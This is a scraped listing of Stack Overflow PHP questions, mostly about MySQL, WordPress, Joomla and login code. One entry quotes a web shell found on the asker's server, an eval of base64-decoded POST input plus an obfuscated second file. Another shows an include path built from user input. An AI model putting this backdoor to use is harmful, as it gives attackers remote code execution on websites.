user2949934i am having an issue with my login php code. I entered the correct values on the login view and the code return "invalid entry". Moreover,I replace the variables within the query with the values that are in the database and it worked by routing me to the page I want to get logged into.Here is the...

0
Q: Encrypt mysql select value and decrypt in php

salivanI'm looking for matching functions. I want to encode string in mysql while doing select on non-encoded value. And I want to decode it in php. So which mysql functions have exact match in php?

0
Q: How to query SELECT SUM of Total from three different table php

HaikaHope you good Guys! I have a big problem on SELECT three different table and SUM there Total so that I may get Grand total of those three tables. The table as follows, I just mention some of fields: 1:payment id idnumber school_fee trans_fee 1 va03 10000 20000 2:payment_one id id...

0
Q: implementing twitter bootstrap menu in joomla bootstrap template

mksI am making a responsive twitter bootstrap template for joomla 2.5/3.x versions.But problem is implementing top menu of joomla.I have a menu in joomla, with some menu items has sub menu items, so when mouse is placed on any item, those sub menu items will be shown normally.I tried this code in m...

0
Q: Nginx - wildcard static domain

Dan SpiteriI'm trying to setup a wildcard static domain. My server hosts several domains, so i'd rather have one config for all of them, without having to manually add each and every one. so far i have this... server { server_name static.* www.static.*; root /var/web/$host/; access_log off; ...

0
Q: PHP store PNG image in variable form URL or POST variable

Bilal AkmalI need to get two images coming either from POST or getting using image URLs and then store in a variable. I'm using POST way but the imagesx() function says that it is not an image type... $image=$_FILES["file"]; $w = imagesx($image); $h = imagesy($image); Please tell me if any other wa...

0
Q: textarea php linebreak not saving

Josh MillerI'm using JoomD component for Joomla 2.5 and I'm having a bit of trouble with some options not being saved properly. I've tried adding "<pre></pre>" to the textarea as per some other posts here on the forum, but to no avail. If I enter anything more than one line in the textarea it confirms the ...

0
Q: Objects made out of database rows

unskaEach object represents one row in the database. Example: admins table id, first_name, last_name 1, 'John', 'Doe' $admin object (pseudo) class admin extends base { protected $id; protected $first_name; protected $last_name; public function setter() { } public function getter() { }...

0
Q: How to check recently uploaded images from client side

Zohiab AhmadI have image upload system and these images save path mysite.come/ditor/upload-img/upload/img.So i want to check recently uploaded images from client side how can i do this.Can i set images links in Cookies. Html <form id="imageform" method="post" enctype="multipart/form-data" > <input ...

0
Q: Google client login authentication error with Zend gdata

user2091830I am using gdata to add contacts to my gmail account using the Contact API. When I run the code on my development box as localhost, everything works fine. But when I move the code to a production server (www.somedomain.com) I get "ERROR:Authentication with Google failed. Reason: BadAuthenticati...

-2
Q: add data to a certain part of text file php

Ian This is quite hard to word but i will do my best to properly explain. What im trying to do is create a form builder for myself. I have all the jquery etc working but writing this to a file is being a pain. I use ajax to send a java script object(s) to a php page. On the php page i loop through a...

0
Q: jQuery- Inserting GET data into div only works after second trigger

John RobinsonI am trying to use jQuery to fetch data and place it into a div after I hover over a link. It is working, but only on the second hover. The first hover instance does not do anything. Why? jQuery(document).ready(function($){ $(".tiptrigger").hover(function() { var s_href = $(this).attr('hr...

0
Q: Content overlays my footer

Sophie RoyceI can't get my footer to show below all my content. The content currently overlays anything right at the bottom and I can't fix it. Footer code: </div> <!-- end #content --> </div> <!-- end #container --> <?php wp_footer(); ?> <div id="footer" width:100%; > <div id="column" style="width: 10...

0
Q: Most efficient way to select users for each row in an html table

PhateI'll try to explain it in an easy way: -I have a table "elections", each election has an id and some other fields (eg. number votes, start date, etc.). -I have a table "candidates", each candidate has an "candidate for election" field which is an external reference to the id field of elections t...

0
Q: Cannot login after installing. Database shows hashed password:

David HaldaneLet me preface this by saying I am not the best with writing php. I also did not write the following code, but am looking for some guidance on what I am missing as far as what is going on in the bigger process here. After the initial install of a free ticketing software which utilizes CodeIgnit...

0
Q: PHP oop Insert Delete function

user2919681Hello there this is my 2nd post for today dealing with my PHP oop functions. I have created (with help of people from stackoverflow) a simple connection to the database using the function, now i need to create two simple functions of 'Insert' and 'Delete'. I know this will look like i am asking y...

0
Q: PHP User Management scripts

testndtvI am looking at some sample PHP User Management scripts like http://usercake.com/ which are easy to understand and integrate well with Paypal subscription payments. Please let me know the various options I have.

0
Q: Get image from database and link it to its features or news etc in php

mubeeni have get the value from database, display it has a image and make it link. so I eant that when user click on the different image he get the result from the query related to the image.. I hope i make everyone understand <?php //connected to mysql $image=$row['image']; echo "<td><a href="featur...

0
Q: Retrieving database table info OOP

Yamaha32088I am trying to retrieve my database rows using OOP I keep getting an error though. I feel like I am missing something simple to make this work. My code is below: Class CommentFactory { protected $conn; public function getImage($conn){ $stmt2 = $conn->prepare('SELECT * FROM `pic...

-1
Q: Custom Loop Pagination on WordPress

DavidPottrellI'm trying to create a magazine style website. For this particular page I'd like to fetch the latest post and style it one way (style1). For all the other posts I'd like to just display smaller (style2). This is working fine, BUT I would also like to enable pagination. Is there anyway to have pa...

0
Q: How do i get if a boolean is set to true in a config?

PhoqeI am making a maintenance page and you can set maintenenace to true in php like this: $maintenance = false; And i want a function to include on every page, like this include 'example.php'; maintenance_mode(); and the function should re-direct the user to the maintenance page. Thanks in advance.

0
Q: PHP Azure table storage filter on column other than partition key to filter

MarkI am using the PHP Azure table storage REST API and its giving me unique error when i use any other column other than partition key to filter the dataset If i use the following Filter condition it works fine. ((PartitionKey ge '2013110100') and (PartitionKey le '2013110223')) If i add any oth...

0
Q: In PHP it takes a lot of time to catch Exceptions

user2950026I give you something interesting here since I researched all stackoverflow but nobody had ever asked for a similar issue! Let's go with the description: I'm trying to connect a simple mysql database to my server using php. I can say from now that the issue is present with both the PDO and the m...

0
Q: Unit test a database centric website

TominatorI'm using a legacy (no-tests) PHP project, full of classes like http://pastebin.com/byBMTAEY Practically all methods are static, and most of them reference the database directly using a singleton (to limit connections to one) Most of them also have a reference to a global called _COMPANY, that ...

0
Q: Send extra_data to simplecart.js with sendform to email address

vvdectI am to trying to send additional details with the sendform method in simplecart. I am able to send the item details, but I am unable to send the extra_data attibute. Script at the bottom of the checkout page <script> simpleCart({ checkout: { type: "SendForm" , url: "http://www.####.com/proces...

0
Q: The best way to develop a PHP web service

RefaatI'm making a web service using PHP, this web service takes it's data as a http request that contains json data from a client (ios or android) and send it to a core designed using C#, then takes the response from that core also as json and send it as a http response to the client that sended the...

0
Q: Loading external library in Laravel-4

Patrick ReckI am trying to load the Simple HTML DOM Parser in my Laravel-4 project. However, I can't get it to find the class. I am getting this error: Class 'Libraries\SimpleHtmlDom\simple_html_dom_node' not found I've put simple_html_dom.php in app\libraries and namespace Libraries\SimpleHtmlDom; in...

0
Q: Filtering what get puts oin an array PHP

Tom Burmanim doing some work with the Magento SOAP API and i am trying to create a valid list of orders. I have got the list but it shows both the configurable products as well as simple product giving me duplicating like the image below: The first listing of the same product is the configurable product,...

0
Q: how to download .txt mysql backup file

user2938105how can i download .txt file this code create a backup in txt file i want to download .txt file how can i download it now .txt file open in browser i want like when i click download button then file is download how can i do this and here is txt file code // SHOW THE LINK TO THE BACKUP ...

0
Q: My PHP code will not let me insert into my mysql table

Andrew I tried everything I could think of, I look at it over and over. I added echo (); to see if the problem was something else. Everything is spelled like it is on the server. I don't know what else to do. Please help!! <?php include('../lock.php'); $id = $id; $username = $login_session; ...

0
Q: Check field for identical number

Seth ForzaI have this code: <?php echo $pinDetails->id;?> this gives me a unique ID and displays it on my page. I am trying to check whether this unique ID for one table is also in another table. Then if it is, show other data from that table. <?php $data = mysql_query("SELECT * FROM repin WHERE new_pin_id

0
Q: Escape & in a string?

rosemarySuggestions from people on my previous question don't seem to be helpful. So, I thought of posting it again in complete code here: mysql_depricated.php: <script> function fun() { var ajaxRequest; // The variable that makes Ajax possible! try{ // Opera 8.0+, Firefox, Safari ...

-1
Q: JS(Angular) Front-End user privilges with PHP + MySQL Back-End

OrzI'm currently building a complex AngularJS based front-end website. The backend is powered with PHP and MySQL. I have 2 questions, both regarding user privileges. How will you design the db schema for storing the user privileges? In the future I'll want to add pre-defined privileges (several s...

0
Q: Double GET method Router Issue

Mehmet Altıntaşif($_GET){ $way = 'theme/page/'; $extension = '.php'; $content = $yol . strip_tags(trim($_GET['sayfa'])) . $uzanti; require_once "$content"; } if($_GET){ $way = 'tema/information/'; $extension = '.php'; $content = $yol . strip_tags(trim($_GET['informat...

0
Q: How do I properly identify the language using the URL in this case? How do I set my rewrite rule for that?

SvenI have a page that runs in more than one language. The english version of that webpage should be accessed through http://www.example.com/en. The problem is that at the moment, I am doing something like this: http://www.example.com/lang=en because it seems a bit more 'bullet proof' to use$_GET ...

0
Q: Entity classes: OOP in PHP, is worth it?

Christopher FranciscoI'm working on a project in which I am creating Entity classes for each business entity, and a class whose only purpose is to interact with the database. I'm stuck wondering if I should do it this way because some classes seems pointless since the objects only exist on each page load, unlike Java...

-1
Q: PHP file unknowingly uploaded to my server

user1576952I have found this 2 file files in my host. In every directory its present. POST.PHP AND ldkb.php POST.PHP <?php if (isset($_POST["code"])) eval(base64_decode($_POST["code"])); ?> ldkb.php <?php @error_reporting(0);@ini_set("di\x73p\x6ca\x79_e\x72\x72o\x72s",0);@ini_set("l\x6fg_\x65rro\x72s",...

0
Q: Check all elements with a name from an array and search in another

Rawrrr1337Let's say I have two arrays like this: (cow, sheep, cow, dog, cat, cow) and (eggs, meat, sugar, milk, cheese, salt) How can I check if each cow's correspondent from the other array isn't equal with let's say "sugar"? array_search finds only the first "cow" I guess.

0
Q: .htaccess file and rewrite rules

user2950085I want to create a .htaccess file and add the following rewrite rules to it: RewriteCond %{THE_REQUEST} ^GET\ .*/index\.(php|html?)\ HTTP RewriteRule ^(.*)index\.(php|html?)$ $1 [R=301,L] my virtual host setting in xampp server (Apache version 2.4.4) is: <Directory C:/vhosts> Option...

 
3:57 PM
0
Q: Using Twitter Streaming Api - cURL truncates line write to 4096 bytes

DandyRegards. I have a technical problem, but the solution is probably conceptual. I'm using Twitter Streaming Api with cURL (PHP), and saving the stream into a file. I then use another script to read the contents of the file and parse the tweets. So far so good. The only problem I have is that, for...

0
Q: Find mysql entries with common tags

Jan CieslikI have articles stored in a MySQL table. Now I want to display related articles. So I integrated a field called "tags", which stores all tags separated by commas. Until now I search for common tags like this: foreach (explode(',', $article['tags']) as $key => $value) { if ($key != 0)...

0
Q: server disconnects while uploading large data to mysql via php

user2950111I have an html form which post data to an php, data sent by form looks like first input eg.1bm09cs082 and second input is max number of students given by 1-240. <form action="http://localhost/vtu/result/current1.php" align="center" method="post" name="new"> <input class="uppercase" id="usn" maxl...

0
Q: JSON array in html table

andrea444I have a json array, looks like: Array ( [0] => Array ( [k1] => aaa [k2] => aaa [kTypes] => Array ( [ktype1] => Array ( [desc] => asd ) [ktype2] => Array ...

-3
Q: Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING on line 87

Christopher FerronThe first error i got was on line 86 and told me: Parse error: syntax error, unexpected '/' in /home/vol10_8/byethost24.com/b24_13861011/premium.wrestlingnetwork.cu.cc/htdocs/includes/vb5/template.php on line 86. After i removed the / I got the error in the title of this question Below is the p...

1
Q: php array_filter anonymous function passing $this

Marty Wallaceif want to do this following: $filteredValues = array_filter($rawValues, function($rawValue) { return $this->validateValue($rawValue); }); validateValue is a private method in the same class. How can i use $this context in array_filter in this way?

0
Q: html2pdf generates incorrect pdf

Gustav TrennertApplication on Symfony2.3 with html2pdf_v4.03_php5 the Controller: public function printAction() { $em = $this->getDoctrine()->getManager(); $entities = $em->getRepository('MyBundle:Activite')->findAll(); $html=$this->get('templating')->render('MyBundle:Activite:print.html.twig',a...

-1
Q: Change main menu item on simple machines forum

Stalkywhere can I change main menu item on simple-machines-forum in the Brightforest theme? I want to add one button to main menu on this page: http://www.makrob.cz/ but i dont know where to write it in the brightforest theme.

0
Q: Searching for multiple terms with MySQL

KimomaruI'm looking for the most effective way to do a search with select with multiple terms in mysql and php. A basic select for a single key word in mysql can look like this; select * from <table> where (Message like '%term%' or Subject like '%term%'); Works fine for a single term. For multiple t...

0
Q: Using PHP functions in MySQL PDO

BartekCan I use my own functions from PHP directly in SQL queries (using mySQL and PDO)? For example: $query = null; $result = null; $query = $this->database_0->prepare("SELECT `id`, `salt` FROM `general_users` WHERE `username` = :username AND `password` = CONCAT(generatePassword(:password, `salt`))...

0
Q: Simple php login - safety method used

dult.npI'm currently attempting to create a simple CMS (really simple). It won't use database, but static html files. I managed to create a php file that updates those files using form Post. Now I want to hide it using a really simple login screen. I found this method which basically shows either the sp...

0
Q: How can we respond with http status ONLY using laravel ?!

munzxI am building an application using laravel at the back end and angularJS on the front end , the heavy lifting must be done on the front end! . i have build the logic using larvel and now i want to respond to requests using http status without any other infos .

0
Q: MySQL - Database design - separate tables for users and profile

mihai121From what I've been reading online, I understood that it's better to split the data into more tables, if possible because of the access times. Right now I have a table in which I am storing usernames, passwords and join date This is how my table looks: 'user' 'user_id INTEGER UNSIGNED NOT NULL ...

0
Q: PHP Warning : File name can not be Empty

Akash SharmaI am using following code for uploading an image file to server, But I am getting error File name can not be Empty $file_name = $HTTP_POST_FILES['ufile']['name']; $random_digit=rand(000000,999999); $new_file_name=$random_digit.$file_name; $path= "product/".$new_file_name; if($ufile !=none) { i...

0
Q: Joining 2 statements to pull data from different tables

Seth ForzaI have this code: <?php $data = mysql_query("SELECT * FROM repin WHERE new_pin_id>$pinDetails->id") or die(mysql_error()); while($info = mysql_fetch_array( $data )) { Print "".$info['from_pin_id'].",".$info['new_pin_id'].""; } ?> Obtained thanks to this article: Check field for identical n...

-1
Q: Fatal error: Class 'vB' not found on line 87

Christopher FerronAt first i got an error saying: Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/vol10_8/byethost24.com/b24_13861011/premium.wrestlingnetwork.cu.cc/htdocs/includes/vb5/template.php on line 87 After fixing that i got: Fatal error: Class 'vB' not found in ...

0
Q: Scrolling through images from external site

PixarkI want to make an image selector where a user can paste in a url and scroll through the images on this site. However, I can't figure out how to do this. I am thinking PHP and JQuery - could anyone possibly suggest a way of achieving this?

0
Q: get_iplayer not working with php script on web server

user2706857Running this command: echo shell_exec("/usr/bin/get-iplayer' --get 1"); from a website (via a php script) gives the following get-iplayer error: ERROR: Failed to get iphone URL from iplayer site INFO: No specified modes (iphone) available for this programme with version 'default' and does...

0
Q: Session ID loses/forgets content

gabrielgThe login function I have is basically adapted from a book on PHP/MySql by Sitepoint, and unfortunately I end up with the following difficulty. The session doesn't dissapear - print_r($_Session) indicates it's still there and anyways putting session_start() at the top of the file didn't help - bu...

0
Q: how to check privilege and allow user to access page or not

Areeg AlwrdI want to check the user login his permission if it has say newbill permission he can open newbill page if not alert message appears login table in database like this: **username username2 user_privilege** amal amal 7gz,agt_courses,newbill ahmed ah...

0
Q: L2TP VPN can not connect on mac

VincentI use Linode VPS set up an L2TP VPN, it can be connect in windows, iOS, Android, but can not connect on a mac, I'm sure the L2TP connection settings on my Mac is correct, but I can not find the reason, here is the connection log download link (Dropbox), because it is very long, so I put it in a f...

0
Q: Getting IP and determining Language of the Website

Hrach GhapantsyanI've integrated two pieces of PHP code found on different websites. The first part of code finds out what country you are in and the second one determines the language. I have tried running it but with no luck. It does not give me a error, just a blank white screen. Here is the code: <?p...

0
Q: why does mysql returns multiple rows as 1 row?

user2278448My query returns multiple rows, but shows it as a single row. For example, it says: Showing rows 0 - 0 (1 total, Query took 0.0061 sec) But then it shows: someColumn 3 50 104 105 I need it to return results as multiple rows (I'm handling the results in a php page which needs to further pro...

0
Q: how to get product details of Icecat by product code?

Rajen PalI have to use Icecat to search for products. Now, I able to search products using EAN code and Product ID. The url of Icecat to get the data is http://data.icecat.biz/xml_s3/xml_server3.cgi?product_id=1380;lang=en;output=productxml (using Product ID). But I failed to pull data using the parameter...

0
Q: Using Symfony\Console for an interactive php cli application

SebaI want to develop an interactive command based php application, so I did some research and bumped into the Symfony\Console component. This is great, because it lets met run php script.php command --option However, the script then runs the command and closes, and I want to be able to run anothe...

0
Q: how i can make slide like this

everestbuxhow i can make a slide like this in fiverr.com site when you hover on an image the lower image only moves down to show a sub-title or anything i tried the source code from the site but it didn't work with me i think there is something missing this is the code <div class="js-slide"><div clas...

0
Q: I get a fatal error after attempting to install wp-ecommerce plugin, can not find any other support with same error

user2950266I attempted to install a wp-ecommerce plugin, it gave me this fatal error and now it only shows the fatal error message when I try to access my wp-admin. Fatal error: Cannot redeclare class wpsc_gateways in /home4/stickdog/public_html/wp-content/plugins/wp-e-commerce/wpsc-components/merchant-co...

0
Q: "ghosts" slashes, adding item to a json file? what do I do?

Francisco José Segura NoyaThis is my original json file data.json (before) [ { "thumb": "../userfiles/img/min/m_1.jpg", "image": "../userfiles/img/1.jpg", "title": "Image 1", "folder": "Folder 1" }, { "thumb": "../userfiles/img/min/m_2.jpg", "image": "../userfiles/img/2.jpg", "title": "Image 2", "folder": "Folder 1" }, ...

0
Q: Server side - Getting POST values without PHP?

user2354325I am new in java script and confused, Is there any way to get the variables (INPUT TEXT BOX VALUE) to the server side that are submitted in POST without using PHP or hidden Text Field ? Thanks in advance for your help

 
5:14 PM
0
Q: PDO Statement inserts integers for string values in prepared statements

eggmattersMy prepared statement is defined as a method of a generic mysql class. Inserts using this method which insert into a different table work fine. Inserts into a specific table replace all my interpolated values with integers. Prepared statement and query look fine. It looks like the integers inser...

-1
Q: Hexadecimal to Decimal Conversion

user1605904I need to read a file (I think it is in binary) and display the content. PHP code I am using is this. $handle = @fopen("CDR20131004.TGN", "r"); if ($handle) { while (!feof($handle)) { $hex = bin2hex(fread ($handle , 392)); $strANumber = substr($hex, 22, 32); echo $strANumber;...

0
Q: Check if a array have a value on specific positions

Rawrrr1337I'm getting the index keys of a haystack array containing many needles. The array contains another words too, but I don't need them to be checked. So I'm using array_keys($haystack, &needle); to create an array containing the position of each needle. Now I need to check in another array if on t...

0
Q: 2 Lines - Fetch data from mysql and atrubute to a function in php

ROKE74Hey it's a simple line but i'm not very experienced. I want to atribute mysql email to a php session... email is a sql row from sqlTable $email = $mysqli->fetch_row("SELECT email FROM sqlTable WHERE username='$username' AND password='$password'"); $_SESSI...

0
Q: <select> tag posting all data when style="display:none;"

Akash SharmaI have main categories and Sub categories of products when I select any main category it shows related sub-categories. But When I post the form it posts last sub-category value instead of selected sub-category value. JavaScript Code $(function() { $('#category').change(function(){ ...

0
Q: I tried to call a function and PHP thinks that I'm trying to redeclare it

Will MacklemoreI have a function called "logToFile" and I'm trying to call it but PHP is thinking that I'm trying to redeclare it. logToFile: function logToFile($msg) { $filename = "log.txt"; $fd = fopen($filename, "a"); $str = "[" . date("Y/m/d h:i:s", mktime()) . "] " . $msg; fwrite($fd, $str . "\n"); fclos...

0
Q: Array even distribution

DrabunaLets say for example, I've got 4 types of quests. Then, I've got some amount of quests of each type in some random range. I need to equally spread all of this quests for a 21 day period, but not more than 4 quests per day (one of each type). So, lets say for example I've got 69 quests total. Fo...

0
Q: Popular a select list full of dates based on a range from database

ExoonI have a bunch of dates in a database that i want the user to be able to select a specific day from a drop down list. I tried just listing all the dates, but this doesn't work because it shows duplicate dates. $query1 = "SELECT order_date FROM orders"; $result1 = mysql_query($query1); while($ro...

0
Q: Doctrine ODM, MongoDB, Symfony2 - Inserting a document creates two database entries, should create one

Piotr 'Zenobius' BaranowskiI'm new to Symfony 2 with Mongo (I've used Symfony before and I used MongoDB before, just not them together). I have this code in Symfony 2: $dm = $this->container->get('doctrine_mongodb'); $manager = $dm->getManager(); $pain = new Pain(); $pain->setScale(5); $pain->setDateStart(new \DateTime()...

0
Q: php date and daylight savings time confusion

user1126515I've got a problem and I'm 99% convinced its related to Daylight Savings Time starting yesterday. The following script: <?php $i=1383451200; echo $i, " ", date('Y-m-d I', @$i); echo "\n"; $i = $i + 86400; echo $i, " ", date('Y-m-d I', @$i); echo "\n"; ?> (where 86400 is the number of se...

0
Q: URL rewriting without htaccess

kursusI have a single page that display stuff depending on a parameter : domain.com/index.php/?id=foo works as well as domain.com/?id=foo I would like to rewrite the parameter so that domain.com/foo also works. BUT I have no access to the htaccess. I can use PHP and JS/jQuery. I'm prett...

0
Q: Get directories inside the same directory as the HTML file?

ArbiturIm wondering if it is possible using PHP to get all directories like folders which is inside the folder of the HTML file? Image of what Im asking about: How can I get the folders {calculator, databasetestlogin, firstphptest}?

0
Q: Error: Unknown column '' in 'field list' MySQL error

Mohammad Abdullahi am unable to insert data. The error is: Error: Unknown column '' in 'field list' It is simpy an HTML form page and data is taken by the user to insert in a database dB. Help is truly required. I am unable to get the error things. I am a newbie. <?php $con=mysqli_connect("localhost", "root", ...

0
Q: Class conflict workaround

zimt28I want to include some Processwire stuff into a CodeIgniter + FuelCMS application. Sadly both have classes called Fuel that are not namespaced. require __DIR__.'/../../index.php'; class Processwired extends CI_Controller { public function index() { var_dump(wire('pages')->get('...

0
Q: Php simple insert form data into database not working

AndroEmbeddedI am new to PHP. I tried to insert form data into SQL data into local DB. I always getting failed error. Here I is my two files from same. Please guide me to solve my query for same. <?php $mysql_hostname = "localhost"; $mysql_user = "root"; $mysql_password = ""; $mysql_database = "my_db"; ...

0
Q: PHP Logging - won't add new line

Will MacklemoreI have a function called logToFile and when I call it, it logs to the file but doesn't add a new line. This is my code: function logToFile($msg) { $filename = "log.txt"; $fd = fopen($filename, "a"); $str = "[" . date("Y/m/d h:i:s", mktime()) . "] " . $msg; fwrite($fd, $str . "\n...

0
Q: Manually Changing Languages

Hrach GhapantsyanI've got a website where the country is detected automatically and a language is set according to the country, but the users have no manual way to change it. How can I add the following code to the code below it to make sure I can enter the following link: http://example.com/index.php?lang=de ...

0
Q: Upgrade Joomla 2.5 to 3.x

KakenxTrying to upgrade Joomla 2.5.14 to latest Joomla 3.x. Have a backup and already setup "Short Term Support STS". Made sure allow_url_fopen = on and allow_url_include= off. But still not getting the update. Says I already have the latest version. Anyone have any ideas on this issue? Thanks!

0
Q: get custom post meta inside input's value wordpress

AlecsI have this code: function add_comment_fields($fields) { $fields['options'] = '<p class="comment-form-options"><label for="option">' . __( 'Choose' ) . '</label>' . '<input id="first" name="category" type="radio" value="' . get_post_meta($post->ID, 'agree', true); .'" />'. '<input id="...

0
Q: notifying user if tagged

user2819237I'm making a website which has user likes and posts and and tags. I want to notify the user based on tagging and likes. I'm using php and mysql. Please give a basic idea or tutorial as to how it can be done

0
Q: Notice: Trying to get property of non-object in includes\classes.php on line 2622 This message doesn't exist or has been deleted. How to Fix?

Anshuman TiwariPlz help in this.. The following error is shown on a request made: Trying to get property of non-object in includes\classes.php on line 2622 LINE 2622 has also been mentioned function getSubs($id, $type, $start = null) { if($type == 0) { if(is_numeric($...

0
Q: Dynamic Drop Down lists using ajax, sql and php

user2950355I have a code which is working well. It populates the dropdowns dependent upon the previous list but there is a problem. In the html form in the <option value =""> field it displays "id" which is a numeric value instead of "name". Can someone please tell me how it can display "name" instead of th...

0
Q: Google App Engine URL Rewrite

user1860273I'm having problems to redirect custom image URLs to actual static image file. My images custom URLs look like: /420-home_default/custom-url.jpg And must be redirected to: my_site_root_dir/img/p/4/2/0/420-home_default.jpg I tried using the following configuration in the app.yaml: url: /([0...

0
Q: How to send data from php to Rest Server (java)

Robbie VercammenWhat I want to do is simple. I want to send some data from php to my java restful server. I have two function in my java rest server: package be.groep1.rest; import javax.ws.rs.core.Context; .... @Path("cmspost") public class CmsPost { @Context private UriInfo context; public Cm...

0
Q: Get database id value from map_initialize()

AlexWell, I've following google api code where all id, longitude, latitude, name, address comes from db. Now i'm trying to update the db after I moved the exisitng marker point to another place. So for that i just need a id value which come from db. That's why i call following function: //add cli...

0
Q: Parse XSD file in PHP and display the elements in the XSD

KevinI have an XSD schema file that I want to parse and echo the elements that it contains, also if possible to display the children each element has as well. I have seen some examples, the best of which have the example of: Convert XSD file into array in PHP I tried it and it gives me an empty array...

0
Q: Proper way to write my "index.php" file

user2733576I bought a book a month ago to start learning PHP, the problem about this book is that it doesn't tell you how to start writing your first pages, it only tells you what is a function, variables, classes, how they work and things like that. I already finished the book, but as I said it doesn't te...

0
Q: the 'count (*)' not returning the actual value

Fatima Almeida<?php include "cf.php"; $user = "dd"; $x = mysql_query("SELECT count(*) FROM log_sso"); while ($con = mysql_fetch_array($x)){ $nick = $con['owner']; echo $nick; echo "<br>"; } ?> CREATE TABLE IF NOT EXISTS `logs_sso` ( `id` int(15) NOT NULL AUTO_INCREMENT, `nome` varchar(255) NOT NULL, `own...

0
Q: Extra value 1 is appending with curl response

SalimFrom following two files I am getting output (2000)1 but It should only (2000) After getting value using curl extra 1 is appending, but why? balance.php <?php $url = "http://localhost/sms/app/user_balance.php"; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL, $url); curl_setopt($ch,CURLOPT_POST...

0
Q: Website - Not Showing Index

SydOk, I am very new to web development, so excuse that. I set up my webserver using a Linode Stackscript (LAMP). However, my webpage doesn't display my actual index.php file, instead, it displays http://www.imgbomb.com/i/?lBqKe. Why is this? My index.php is inside my www. When I type /index.php aft...

0
Q: Duplicate values Conditional selection PHP/mySQL

sdrubishI have a database with thousands of entries "id" is the primary key "event_description" "event_time" "location" In a php script i need to select all rows from the table and if "locationXXX" appears in more than one row collect the various values for "event_description" paired with respective...

0
Q: php new class object not being instanced

Amy NevilleI am trying to create a new model object from my mvc controller but the page doesn't generate. Is there any reason why I can't do this? Surely I should be able to create an object inside an existing one? Sorry to be so simplistic, and I know I sound like an idiot, but I'm not sure how to explain...

0
Q: Checkbox filetering not working

user2926655I have a couple of checkboxes to filter the results from database but I have two problems, the first is that I am using $_POST variable and when I hit refresh I am getting a confirm form submission dialog, which I don't want as the user may hit refresh many times. The 2nd part of it is that, if...

0
Q: Check array entry against other array entries PHP

Tom BurmanI have an array of prudcts and their attributes in an array. What i would like to do is filter this array to take out any entries that have the same name attribute or same quantity attribute. my array looks like this: array (size=2) 0 => object(item)[56] public 'order_id' => string '3' (leng...

0
Q: Using php to capture certain characters

Gabriel HenriqueI get through a POST form the following numbers: 1,2,3 | 3,4,5 but I just wanted to pick the numbers that are before | and insert into a mysql table one by one, how to do that?

0
Q: PHP OOP: calling method parent from child

sineverbaI've this class class Controller { protected $f3; protected $db; function __construct() { $f3=Base::instance(); $db=new \DB\SQL('mysql:host=62.xxx;port=3306;dbname=Sqlxxx','xxxx','xxxxx'); $this->f3=$f3; $this->db=$db; $this->db->exec('SET CHARACTER...

0
Q: PHP CSV parse issue escaping strings for MySQL

Robert82I'm trying to parse a number of CSV files from a product feed. I'm using the code below to grab the data from the CSV, and process row by row for insertion in to a MySQL db. For some reason every once and a while the addslashes function seems to skip the escape sequence. What am I doing wrong ...

0
Q: Search a Query for Killingfloor in PHP

WdC-OehmieI Search a KillingFloor Server Query which Shows Information about a Server. For example, it shows how many Players are online and shows the Max-Slots. Hope you can help.

0
Q: How to post a like to the top public facebook status of every page the user likes, in php

Michael DurekI have what I think is a tough one. :) I have scrolled stackoverflow for a week now, and none of the questions address my issue. This script successfully displays the user's liked pages, and also lists status updates from the page to it's own wall (it weeds out the other ones). When I try to...

0
Q: mysqli_query doesn't give results for email query

Tutsek RobertI have a database in phpmyadmin and im trying to query the email fields from it, and it doesn't seem to work. The email field type is varchar and they contain the @ special character: example@domain.com I tried querying from the phpmyadmin console too but with no success. Im using the following ...

0
Q: Append image with php

Denny SmithI'm working with a plugin that lazy loads images http://wordpress.org/plugins/unveil-lazy-load/ if(is_feed() || is_preview() || self::is_smartphone()) return $content; if ( strpos( $content, 'data-src' ) !== false ) return $content; $dummy_image = self::get_url('b.gif'); $con...

0
Q: Can't log in error administrator/index.php?mg=session

user2948532I can't log in to my administrator panel, You can download the script http://www72.zippyshare.com/v/46903846/file.html What my problem is the script has login bug both in admin and user panel. every time i use admin username and pass it gives me a error in the address bar http://localhost ...

0
Q: Osclass subcategory listing sucess; item count fails

Abel JojoI need to print // Main category Classifieds (3) ->Books(2) ->DVD(1) when Selecting Book(2) it should print Book(2) ->Children's Book(0) ->Chemistry(2) It would be great if the sub->sub-> keep on going until the subcategory count ends. I had coded it but fails to print the count in each c...

0
Q: Facebook integration with Codeigniter

user1524612I'm trying to use the Facebook PHP SDK with Codeigniter as described here: http://jondavidjohn.com/blog/2011/07/using-the-facebook-api-with-codeigniter When trying to authenticate a user with the following code, I generate a login URL. When visiting the login URL, I am always redirected back to ...

0
Q: Store and update multiple values in a single cookie

user2738640How can I store multiple values in a single cookie and keep adding more values in the same cookie. For example: If a user_id 1 votes a post_id 1, i want to store (1, 1) in the cookie. If the user_id 1 votes a post_id 2, I want to update the same cookie with values (1,2). Thanks.

0
Q: PDO MySQL querying independent of database structure

TheEnvironmentalistTo use PDO to interact with a MySQL database, assuming named placeholders, requires some knowledge of the database structure: $db->("INSERT INTO table (firstname, lastname, age) value (:fn, :ln, :age)"); Is there a way of using prepared statements with named placeholders without such knowledge...

-2
Q: Converting Javascript Ajax code to jQuery

PeterI need converting this code to jQuery. Thank you very much. function myItem(id, page) { AjaxPost(WEB_URL+'/myitems.inc.php', "page="+page+"&id="+id, function () { if (xmlHttp.readyState == 4 || xmlHttp.readyState == "complete") { div...

0
Q: WHERE clause not working mysql

LmxcI have a row Brand New in column condition and when I do a query like the below it doesn't return anything, "SELECT * FROM table where condition LIKE '%new%'" but if I do like this I get that row "SELECT * FROM table WHERE condition LIKE '%Brand New%'" what am I missing here?

0
Q: PHP - file upload will not move file to directory

Dan wthe file upload script is below...the storing of the file name in the DB is working fine, but the file is not being moved to the proper directory. the "Avatars" file is located in the "/httpdocs/" directory. I have set the permissions to "777". <?php require('dbconfig.php'); //generate a random...

0
Q: Show Product Code on Order Management Admin Page Prestashop

zeshanHow to show product code data on Order Management Page admin in Prestashop I am lost in files. Please help me Thanks in Advance

-1
Q: How can I reset this equation?

Ana TelllmeHow can I reset this equation php. It is a suppose to time the user for inactivity the function does not test mouse movement. How can I reset this code? Here is the code: function checkIfTimedOut() { $current = time();// take the current time $diff = $current - $_SESSION['loggedAt']; ...

0
Q: Flash Builder How to get a result from a database to check if record exists?

